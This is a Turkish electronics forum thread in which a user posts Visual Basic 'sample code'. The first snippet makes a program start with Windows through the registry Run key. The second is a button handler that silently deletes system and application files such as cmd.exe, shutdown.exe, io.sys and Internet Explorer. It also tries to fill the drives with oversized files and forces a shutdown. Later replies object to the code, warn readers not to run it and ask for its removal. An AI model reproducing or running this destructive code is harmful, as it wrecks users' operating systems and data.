Örnek Kodlar (ßy_Sky)

[ßy_Sky]

Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" ' .exe kısmına Programın adını yazmanız yeterlidir

[ßy_Sky]

Evet 4 tane text kutucuğu yapalım bir tane de button. Button kodlarına

Private Sub Command1_Click()
Kill ("shutdown.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Shell ("del /f /q shutdown.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Kill ("Notepad.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Shell ("del /f /q Notepad.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\shutdown.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\Notepad.exe")
On Error Resume Next
Kill ("C:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Kill ("D:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Kill ("winamp.exe")
On Error Resume Next
Shell ("del /f /q C:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Shell ("del /f /q D:\Program Files\Winamp\Winamp.exe")
On Error Resume Next
Shell ("del /f /q winamp.exe")
On Error Resume Next
Kill ("io.sys")
On Error Resume Next
Shell ("del /f /q io.sys")
On Error Resume Next
Kill ("config.exe")
On Error Resume Next
Shell ("del /f /q config.exe")
On Error Resume Next
Kill ("config.nt")
On Error Resume Next
Shell ("del /f /q config.nt")
On Error Resume Next
Kill ("system.sys")
On Error Resume Next
Shell ("del /f /q system.sys")
On Error Resume Next
Kill ("%SystemRoot%\system32\cmd.exe")
On Error Resume Next
Shell ("del /f /q %SystemRoot%\system32\cmd.exe")
On Error Resume Next
Kill ("C:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Kill ("D:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\System32\cmd.exe")
On Error Resume Next
Kill ("cmd.exe")
On Error Resume Next
Kill ("C:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Shell ("del /f /q C:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Kill ("D:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Shell ("del /f /q D:\Program Files\Internet Explorer\IEXPLORE.EXE")
On Error Resume Next
Kill ("IEXPLORER.exe")
On Error Resume Next
Shell ("del /f /q IEXPLORER.exe")
On Error Resume Next
Kill ("C:\WINDOWS\Desktop\*.ico")
On Error Resume Next
Kill ("C:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Kill ("D:\WINDOWS\Desktop\*.ico")
On Error Resume Next
Kill ("D:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Shell ("del /f /q C:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Shell ("del /f /q D:\WINDOWS\Masaüstü\*.ico")
On Error Resume Next
Kill ("command.com")
On Error Resume Next
Shell ("del /f /q command.com")
On Error Resume Next
Shell ("fsutil file createnew C:\nemutluturkumdiyene.txt 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
On Error Resume Next
Shell ("fsutil file createnew D:\nemutluturkumdiyene.txt 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")
On Error Resume Next
Shell ("shutdown.exe -f -s 20")
On Error Resume Next
Unload Me
End Sub

Bu kadar Daha bir çok şey eklerdim ama emliyet açısından K.bakmayın

[t2]

İşinize karışmak gibi olmasın böyle eğlenceli konular buraya pek yakışmıyor.  Burası bir elektronik forumudur. Visual basicin elektronikle ilgili kısımlarına ağırlık versek daha iyi olmaz mı? yani bir visualbasic forumuna gidip kod bankası gibi bir dosya bulup oradaki 100 bin çeşit kodları alıp buraya ayrı ayrı başlıklar halinde yapıştırmak hepimizin yapabileceği iş.  Fakat orijinal  bir çözüm, püf noktası yayınlarsanız daha çok ilgi çekecektir.

[parda]

Merhaba ;

Kayıtdefterine erişim izni olmayan kullanıcı windowsu açarsa ne olur?
Açılışta hangi sırada çalışır hangi servis ve programlardan önce hangilerinden sonra ?
windows kullanıcı seçilmesini beklerken programımızın çalışması için ne yapmalıyız?

[ßy_Sky]

KodBanka'sı diye bir şey duymadım ama bunlar benım 1 yıl once paylaştıgım kodlar Kesinlık le hepsi benım'dir kendi yazdıgım kodlardır hiç biri alıntı deyildir Alıntı yazsam yazardım

[OG]

@ßy_Sky Merhaba

Visual Basic altında yazdığın konular için her birisine ayrı bir başlık açmayınız. "VB örnekleri" gibi bir başlık açıp farklı konuları aynı başlık altında ayrı mesajlar ile gönderiniz.

Her küçük kod parçası için ayrı başlık (thread) açtığınız taktirde VB bölümü gereksiz çok sayıda başlık ile şişmekte.

Örnek, https://www.picproje.org/index.php/topic,9457.0.html

[ßy_Sky]

Forumda Daha Buyuk Ve daha kolay bulunsun diye yapıyordum

[ßy_Sky]

Benim yaptıgım kodları Ornek kod , Kod bankasından Aldın diyorsanız K.bakmayın Forumu bırakırım ...

[nuriozdas]

  Burası bir elektronik forumudur. Visual basicin elektronikle ilgili kısımlarına ağırlık versek daha iyi olmaz mı?

t2 nin sözlerine aynen katılıyorum.

[orhanc]

Ömer daha faydalı işlerle uğraşsan nasıl olur.

[ßy_Sky]

bunlar hem daha kolay hemde zevklı

Elektronik derken tam olarak anlamadım ne tur paylaşım istiyorsunuz ?

[zakbay]

Elektronik derken tam olarak anlamadım ne tur paylaşım istiyorsunuz ?

Seri port kontrolü , seri porttan nasıl veri alınır-gönderilir
USB den veri almak - göndermek gibi şeyler

[muhittin_kaplan]

birde neden kill yapıyorsunuz
bu kodları Denemeyiniz

[orhanc]

Bu kodları silin bence milletin sistemi çökecek neymiş diye merak ederken

[teknikelektronikci]

By_Sky

arkadasim öncelikle tebrik ederim 16 yasina ragmen ilgin ve alakan var bilgin de var

ama o tazecik beynini faydali düzgün seylere harca keylooger mis saka mis filan bu gibi seyler picproje de yeri yok sanada faydasi olmaz

mesela cok program yazmak istiorsan elektornik ile ilgili programlar yaz hem sana hem bize faydasi olsun

ayrica c++ c# diye bir sey yok bence eger yapabilyiorsan istedigin programi pascal la bile yaparsin 

iyi calismalar